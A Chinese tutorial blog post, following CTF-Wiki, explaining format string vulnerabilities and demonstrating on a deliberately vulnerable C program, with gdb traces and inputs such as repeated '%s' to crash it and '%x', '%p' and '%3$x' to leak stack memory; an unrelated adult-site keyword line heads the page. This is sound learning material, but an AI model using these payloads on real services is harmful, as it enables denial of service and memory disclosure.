日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

跟着CTF-Wiki学pwn|格式化字符串(1)

發(fā)布時(shí)間:2024/3/26 编程问答 39 豆豆
生活随笔 收集整理的這篇文章主要介紹了 跟着CTF-Wiki学pwn|格式化字符串(1) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文章目錄

  • 格式化字符串漏洞原理介紹
    • 格式化字符串函數(shù)介紹
      • 格式化字符串函數(shù)
      • 格式化字符串
      • 參數(shù)
    • 格式化字符串漏洞原理
  • 格式化字符串漏洞利用
    • 程序崩潰
    • 泄露內(nèi)存
        • 泄露棧內(nèi)存
          • 獲取棧變量數(shù)值
          • 獲取棧變量對應(yīng)字符串
        • 泄露任意地址內(nèi)存
      • 覆蓋內(nèi)存
        • 覆蓋棧內(nèi)存
          • 確定覆蓋地址
          • 確定相對偏移
          • 進(jìn)行覆蓋
        • 覆蓋任意地址內(nèi)存
          • 覆蓋小數(shù)字
          • 覆蓋大數(shù)字

格式化字符串漏洞原理介紹

首先,對格式化字符串漏洞的原理進(jìn)行簡單介紹。

格式化字符串函數(shù)介紹

格式化字符串函數(shù)可以接受可變數(shù)量的參數(shù),并將第一個(gè)參數(shù)作為格式化字符串,根據(jù)其來解析之后的參數(shù)。通俗來說,格式化字符串函數(shù)就是將計(jì)算機(jī)內(nèi)存中表示的數(shù)據(jù)轉(zhuǎn)化為我們?nèi)祟惪勺x的字符串格式。幾乎所有的C/C++程序都會利用格式化字符串函數(shù)來輸出信息,調(diào)試程序,或者處理字符串。一般來說,格式化字符串在利用的時(shí)候主要分為三個(gè)部分:

  • 格式化字符串函數(shù)
  • 格式化字符串
  • 后續(xù)參數(shù)(可選)

以printf函數(shù)舉例:

格式化字符串函數(shù)

常見的格式化字符串函數(shù)有:

  • 輸入

    • scanf
  • 輸出

    函數(shù)基本介紹
    printf輸出到stdout
    fprintf輸出到指定FILE流
    vpirntf根據(jù)參數(shù)列表格式化輸出到stdout
    vfprintf根據(jù)參數(shù)列表格式化輸出到指定FILE流
    sprintf輸出到字符串
    snprintf輸出指定字節(jié)數(shù)到字符串
    vsprintf根據(jù)參數(shù)列表格式化輸出到字符串
    vsnprintf根據(jù)參數(shù)列表格式化輸出指定字節(jié)到字符串
    setproctitle設(shè)置argv
    syslog輸出日志
    err,verr,warn,vwarn等

格式化字符串

格式化字符串的基本格式如下:

%[parameter][flags][field width][.precision][length]type

format string-Wikipedia

  • parameter(可選)

    • n$,獲取格式化字符串中的第n個(gè)參數(shù)
  • flags(可為0個(gè)或多個(gè))

    字符描述
    +總是表示有符號數(shù)值的’+‘或’-'號,缺省情況是忽略正數(shù)的符號。僅適用于數(shù)值類型。
    空格使得有符號數(shù)的輸出如果沒有正負(fù)號或者輸出0個(gè)字符,則前綴1個(gè)空格。如果空格與’+'同時(shí)出現(xiàn),則空格說明符被忽略。
    -左對齊。缺省情況是右對齊。
    #對于’g’與’G’,不刪除尾部0以表示精度。對于’f’,‘F’,‘e’,‘E’,‘g’,‘G’,總是輸出小數(shù)點(diǎn)。對于’o’,‘x’,‘X’,在非0數(shù)值前分別輸出前綴0,0x,and 0X表示數(shù)制。
    0如果width選項(xiàng)前綴以0,則在左側(cè)用0填充直至達(dá)到寬度要求。例如printf("%2d", 3)輸出"3",而printf("%02d", 3)輸出"03"。如果0與-均出現(xiàn),則0被忽略,即左對齊依然用空格填充。
  • field width

    • 輸出的最小寬度
  • precision

    • 輸出的最大長度
  • length,輸出的長度

    • hh,輸出一個(gè)字節(jié)
    • h,輸出一個(gè)雙字節(jié)
  • type

    • d/i,有符號整數(shù)
    • u,無符號整數(shù)
    • x/X,16進(jìn)制unsigned int。x使用小寫字母;X使用大寫字母。如果指定了精度,則輸出的數(shù)字不足時(shí)在左側(cè)補(bǔ)0。默認(rèn)精度為1.精度為0且值為0,則輸出為空。
    • o,8進(jìn)制unsigned int。如果指定了精度,則輸出的數(shù)字不足時(shí)在左側(cè)補(bǔ)0.默認(rèn)精度為1.精度為0且值為0,則輸出為空。
    • s,如果沒有用l標(biāo)志,輸出null結(jié)尾字符串直到精度規(guī)定的上限;如果沒有指定精度,則輸出所有字節(jié)。如果用了l標(biāo)志,則對應(yīng)函數(shù)參數(shù)指向wchar_t型的數(shù)組,輸出時(shí)把每個(gè)寬字符轉(zhuǎn)化為多字節(jié)字符,相當(dāng)于調(diào)用wcrtomb函數(shù)。
    • c,如果沒有用l標(biāo)志,把int參數(shù)轉(zhuǎn)為unsigned char型輸出;如果用了l標(biāo)志,把wint_t參數(shù)轉(zhuǎn)為包含兩個(gè)元素的wchart_t數(shù)組,其中第一個(gè)元素包含要輸出的字符,第二個(gè)元素為null寬字符。
    • p,void *型,輸出對應(yīng)變量的值。printf("%p",a)用地址的格式打印變量a的值,printf("%p",&a)打印變量a所在的地址。
    • n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫入對應(yīng)的整型指針參數(shù)所指的變量。
    • %,’%'字面值,不接受任何flags,width。

參數(shù)

即相應(yīng)的要輸出的變量。

格式化字符串漏洞原理

上面說到,格式化字符串函數(shù)是根據(jù)格式化字符串函數(shù)來進(jìn)行解析的。**那么相應(yīng)的要被解析的參數(shù)的個(gè)數(shù)也自然是由這個(gè)格式化字符串所控制。**比如說’%s’表明我們會輸出一個(gè)字符串參數(shù)。

我們繼續(xù)以上面的為例子進(jìn)行介紹

對于這樣的例子,在進(jìn)入printf函數(shù)之前(即還沒有調(diào)用printf函數(shù)),棧上的布局由高地址到低地址依次為:

some value #假設(shè)為某個(gè)未知的值 3.14 123456 addr of "red" addr of format string: Color %s...

在進(jìn)入printf之后,函數(shù)首先獲取第一個(gè)參數(shù),一個(gè)一個(gè)讀取其字符串會遇到兩種情況:

  • 當(dāng)前字符不是 %,直接輸出到相應(yīng)標(biāo)準(zhǔn)輸出。
  • 當(dāng)前字符是%,繼續(xù)讀取下一個(gè)字符
    • 如果沒有字符,報(bào)錯(cuò)
    • 如果下一個(gè)字符是%,輸出%
    • 否則根據(jù)相應(yīng)的字符,獲取相應(yīng)的參數(shù),對其進(jìn)行解析并輸出

假設(shè)在編寫程序的時(shí)候,寫成了下面的樣子

printf("Color %s,Number %d,Float %4.2f");

即沒有提供參數(shù),程序應(yīng)該如何運(yùn)行?

程序照樣會運(yùn)行,會將棧上存儲格式化字符串地址上面的三個(gè)變量分別解析為

  • 1.解析其地址對應(yīng)的字符串
  • 2.解析其內(nèi)容對應(yīng)的整型值
  • 3.解析其內(nèi)容對應(yīng)的浮點(diǎn)值

對于2,3來說倒還無妨,但是對于1來說,如果提供了一個(gè)不可訪問地址,比如0,那么程序就會因此而崩潰。

這基本就是格式化字符串漏洞的基本原理了。


格式化字符串漏洞利用

其實(shí),在上一部分,我們展示了格式化字符串漏洞的兩個(gè)利用手段

  • 使程序崩潰,因?yàn)?s對應(yīng)的參數(shù)地址不合法的概率比較大。
  • 查看進(jìn)程內(nèi)容,根據(jù)%d,%f輸出了棧上的內(nèi)容。

下面我們會對于每一方面進(jìn)行更加詳細(xì)的解釋。

程序崩潰

通常來說,利用格式化字符串漏洞使得程序崩潰是最為簡單的利用方式,因?yàn)槲覀冎敌枰斎肴舾蓚€(gè)%s即可

%s%s%s%s%s%s%s%s%s%s%s%s%s%s

這是因?yàn)闂I喜豢赡苊總€(gè)值都對應(yīng)了合法的地址,所以總是會有某個(gè)地址可以使得程序崩潰。這一利用,雖然攻擊者本身似乎并不能控制程序,但是這樣卻可以造成程序不可用。比如說,如果遠(yuǎn)程服務(wù)有一個(gè)格式化字符串漏洞,那么我們就可以攻擊其可用性,使服務(wù)崩潰,進(jìn)而使得用戶不能夠訪問。

泄露內(nèi)存

利用格式化字符串的漏洞,我們還可以獲取我們所想要輸出的內(nèi)容。一般會有如下幾種操作:

  • 泄露棧內(nèi)存
    • 獲取某個(gè)變量的值
    • 獲取某個(gè)變量對應(yīng)地址的內(nèi)存
  • 泄露任意地址內(nèi)存
    • 利用GOT表得到libc函數(shù)地址,進(jìn)而獲取libc,進(jìn)而獲取其它libc函數(shù)地址
    • 盲打,dump整個(gè)程序,獲取有用信息

泄露棧內(nèi)存

例如,給定如下程序

#include <stdio.h> int main() {char s[100];int a = 1, b = 0x22222222, c = -1;scanf("%s", s);printf("%08x.%08x.%08x.%s\n", a, b, c, s);printf(s);return 0; }

然后編譯,

devil@ubuntu:~$ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c In file included from /usr/include/stdio.h:27:0,from leakmemory.c:1: /usr/include/features.h:367:25: fatal error: sys/cdefs.h: No such file or directory compilation terminated.

這是什么奇怪的報(bào)錯(cuò)啊…

devil@ubuntu:~$ gcc -fno-stack-protector -no-pie -o leakmemory leakmemory.cleakmemory.c: In function ‘main’: leakmemory.c:7:9: warning: format not a string literal and no format arguments [-Wformat-security]printf(s);

把-m32去掉就好了。

可以看出,編譯器指出了我們的程序中沒有給出格式化字符串的參數(shù)問題。下面我們來看一下如何獲取對應(yīng)的棧內(nèi)存。

根據(jù) C 語言的調(diào)用規(guī)則,格式化字符串函數(shù)會根據(jù)格式化字符串直接使用棧上自頂向上的變量作為其參數(shù) (64 位會根據(jù)其傳參的規(guī)則進(jìn)行獲取)。這里我們主要介紹 32 位。

獲取棧變量數(shù)值

首先,我們可以利用格式化字符串來獲取棧上變量的數(shù)值。我們可以試一下…

結(jié)果是運(yùn)行沒反應(yīng),考慮到可能是-m32參數(shù)沒加的原因,上網(wǎng)查了之前的報(bào)錯(cuò),可能是libc的庫有問題。

sudo apt-get purge libc6-dev sudo apt-get install libc6-dev sudo apt-get install libc6-dev-i386

運(yùn)行還是沒反應(yīng)…我突然發(fā)現(xiàn)原來程序要先輸入…WSSB

devil@ubuntu:~$ ./leakmemory %08x.%08x.%08x 00000001.22222222.ffffffff.%08x.%08x.%08x ffab5f48.f7f07918.00f0b5ff

可以看到,我們確實(shí)得到了一些內(nèi)容。為了更加細(xì)致的觀察,我們利用 GDB 來調(diào)試一下,以便于驗(yàn)證我們的想法,這里刪除了一些不必要的信息,我們只關(guān)注代碼段以及棧。

首先,啟動(dòng)程序,將斷點(diǎn)下載 printf 函數(shù)處

devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %08x.%08x.%08x

敲擊回車,程序繼續(xù)運(yùn)行,可以看出程序首先斷在了第一次調(diào)用printf函數(shù)的位置

Breakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%08x.%08x.%08x" $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe4│+0x0018: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()

可以看出,此時(shí)已經(jīng)進(jìn)入了printf函數(shù)中,**棧中的第一個(gè)變量為返回地址,第二個(gè)變量為格式化字符串的地址,第三個(gè)變量為a的值,第四個(gè)變量為b的值,第五個(gè)變量為c的值,第六個(gè)變量為我們輸入的格式化字符串對應(yīng)的地址。**繼續(xù)運(yùn)行程序。

gef? c Continuing. 00000001.22222222.ffffffff.%08x.%08x.%08x

可以看出,程序確實(shí)輸出了每一個(gè)變量對應(yīng)的數(shù)值,并且斷在了下一個(gè)printf處

Breakpoint 1, __printf (format=0xffffd008 "%08x.%08x.%08x") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%08x.%08x.%08x" $ebx : 0x0 $ecx : 0x7fffffd6 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe4│+0x0008: 0xffffd008 → "%08x.%08x.%08x" 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%08x.%08x.%08x") [#1] 0x804852c → main()

此時(shí),由于格式化字符串為%x%x%x,所以,程序會將棧上的第三個(gè)地址開始處(也就是0xffffcfe4)及其以后的數(shù)值分別作為第一、第二、第三個(gè)參數(shù)按照int型進(jìn)行解析,分別輸出。繼續(xù)運(yùn)行,我們可以得到如下結(jié)果,和想象中一致。

gef? c Continuing. ffffd008.f7ffd918.00f0b5ff[Inferior 1 (process 4193) exited normally]

當(dāng)然,我們也可以使用%p來獲取數(shù)據(jù),如下

gef? r Starting program: /home/devil/leakmemory %p.%p.%p 00000001.22222222.ffffffff.%p.%p.%p 0xffffd008.0xf7ffd918.0xf0b5ff[Inferior 1 (process 4253) exited normally]

這里需要注意的是,并不是每次得到的結(jié)果都一樣 ,因?yàn)闂I系臄?shù)據(jù)會因?yàn)槊看畏峙涞膬?nèi)存頁不同而有所不同,這是因?yàn)闂J遣粚?nèi)存頁做初始化的。

那么有沒有辦法直接獲取棧中被視為第n+1個(gè)參數(shù)的值呢?

方法如下:

%n$x

利用如上的字符串,我們就可以獲取到對應(yīng)的第 n+1 個(gè)參數(shù)的數(shù)值。為什么這里要說是對應(yīng)第 n+1 個(gè)參數(shù)呢?這是因?yàn)楦袷交瘏?shù)里面的 n 指的是該格式化字符串對應(yīng)的第 n 個(gè)輸出參數(shù),那相對于輸出函數(shù)來說,就是第 n+1 個(gè)參數(shù)了。

我們再次以gdb調(diào)試一下。

devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %3$xBreakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%3$x" $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → "%3$x" 0xffffcfe4│+0x0018: 0xffffd008 → "%3$x" 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()gef? c Continuing. 00000001.22222222.ffffffff.%3$xBreakpoint 1, __printf (format=0xffffd008 "%3$x") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → "%3$x" $ebx : 0x0 $ecx : 0x7fffffe0 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → "%3$x" 0xffffcfe4│+0x0008: 0xffffd008 → "%3$x" 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%3$x") [#1] 0x804852c → main()gef? c Continuing. f0b5ff[Inferior 1 (process 4290) exited normally]

棧上第一個(gè)值是返回地址,第二個(gè)值是格式化字符串地址,第三個(gè)是格式化字符串第一個(gè)參數(shù),第四個(gè)是格式化字符串第二個(gè)參數(shù),第五個(gè)是格式化字符串第三個(gè)參數(shù),也就是我們要輸出的0x00f0b5ff。注意,格式化字符串的第三個(gè)參數(shù)是printf函數(shù)輸出的第四個(gè)參數(shù)。

獲取棧變量對應(yīng)字符串

此外,我們還可以獲得棧變量對應(yīng)的字符串,這其實(shí)就是需要用到 %s 了。這里還是使用上面的程序,進(jìn)行 gdb 調(diào)試,如下

devil@ubuntu:~$ gdb leakmemory gef? b printf Breakpoint 1 at 0x8048370 gef? r Starting program: /home/devil/leakmemory %sBreakpoint 1, __printf (format=0x80485d3 "%08x.%08x.%08x.%s\n") at printf.c:28 28 printf.c: No such file or directory. [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x1 $edx : 0xf7fb787c → 0x00000000 $esp : 0xffffcfcc → 0x0804851d → <main+98> add esp, 0x20 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry parity ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfcc│+0x0000: 0x0804851d → <main+98> add esp, 0x20 ← $esp 0xffffcfd0│+0x0004: 0x080485d3 → "%08x.%08x.%08x.%s\n" 0xffffcfd4│+0x0008: 0x00000001 0xffffcfd8│+0x000c: 0x22222222 0xffffcfdc│+0x0010: 0xffffffff 0xffffcfe0│+0x0014: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0018: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x001c: 0xf7ffd918 → 0x00000000 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0x80485d3 "%08x.%08x.%08x.%s\n") [#1] 0x804851d → main()gef? c Continuing. 00000001.22222222.ffffffff.%sBreakpoint 1, __printf (format=0xffffd008 "%s") at printf.c:28 28 in printf.c [ Legend: Modified register | Code | Heap | Stack | String ] ───────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffd008 → 0x00007325 ("%s"?) $ebx : 0x0 $ecx : 0x7fffffe2 $edx : 0xf7fb7870 → 0x00000000 $esp : 0xffffcfdc → 0x0804852c → <main+113> add esp, 0x10 $ebp : 0xffffd078 → 0x00000000 $esi : 0xf7fb6000 → 0x001b1db0 $edi : 0xf7fb6000 → 0x001b1db0 $eip : 0xf7e4d670 → <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax> $eflags: [carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 ───────────────────────────────────────────────────────────────────── stack ──── 0xffffcfdc│+0x0000: 0x0804852c → <main+113> add esp, 0x10 ← $esp 0xffffcfe0│+0x0004: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe4│+0x0008: 0xffffd008 → 0x00007325 ("%s"?) 0xffffcfe8│+0x000c: 0xf7ffd918 → 0x00000000 0xffffcfec│+0x0010: 0x00f0b5ff 0xffffcff0│+0x0014: 0xffffd02e → 0xffff0000 → 0x00000000 0xffffcff4│+0x0018: 0x00000001 0xffffcff8│+0x001c: 0x000000c2 ─────────────────────────────────────────────────────────────── code:x86:32 ────0xf7e4d667 <fprintf+23> inc DWORD PTR [ebx+0x66c31cc4]0xf7e4d66d nop 0xf7e4d66e xchg ax, ax→ 0xf7e4d670 <printf+0> call 0xf7f23b59 <__x86.get_pc_thunk.ax>? 0xf7f23b59 <__x86.get_pc_thunk.ax+0> mov eax, DWORD PTR [esp]0xf7f23b5c <__x86.get_pc_thunk.ax+3> ret 0xf7f23b5d <__x86.get_pc_thunk.dx+0> mov edx, DWORD PTR [esp]0xf7f23b60 <__x86.get_pc_thunk.dx+3> ret 0xf7f23b61 <__x86.get_pc_thunk.si+0> mov esi, DWORD PTR [esp]0xf7f23b64 <__x86.get_pc_thunk.si+3> ret ─────────────────────────────────────────────────────── arguments (guessed) ──── __x86.get_pc_thunk.ax ( ) ─────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "leakmemory", stopped 0xf7e4d670 in __printf (), reason: BREAKPOINT ───────────────────────────────────────────────────────────────────── trace ──── [#0] 0xf7e4d670 → __printf(format=0xffffd008 "%s") [#1] 0x804852c → main()gef? c Continuing. %s[Inferior 1 (process 4344) exited normally]

可以看出,在第二次執(zhí)行printf函數(shù)的時(shí)候,確實(shí)將0xffffcfe4處的變量視為字符串變量,輸出了其數(shù)值所對應(yīng)的地址處的字符串。

當(dāng)然,并不是所有這樣的都會正常運(yùn)行,如果對應(yīng)的變量不能夠被解析為字符串地址,那么,程序就會直接崩潰。

此外,我們也可以指定獲取棧上第幾個(gè)參數(shù)作為格式化字符串輸出,比如我們指定第 printf 的第 4 個(gè)參數(shù),如下,此時(shí)程序就不能夠解析,就崩潰了。

devil@ubuntu:~$ ./leakmemory %3$s 00000001.22222222.ffffffff.%3$s Segmentation fault (core dumped)

小技巧總結(jié)

  • 利用%x來獲取對應(yīng)棧的內(nèi)存,但建議使用%p,可以不用考慮位數(shù)的區(qū)別。
  • 利用%s來獲取變量所對應(yīng)地址的內(nèi)容,只不過有零截?cái)唷?/li>
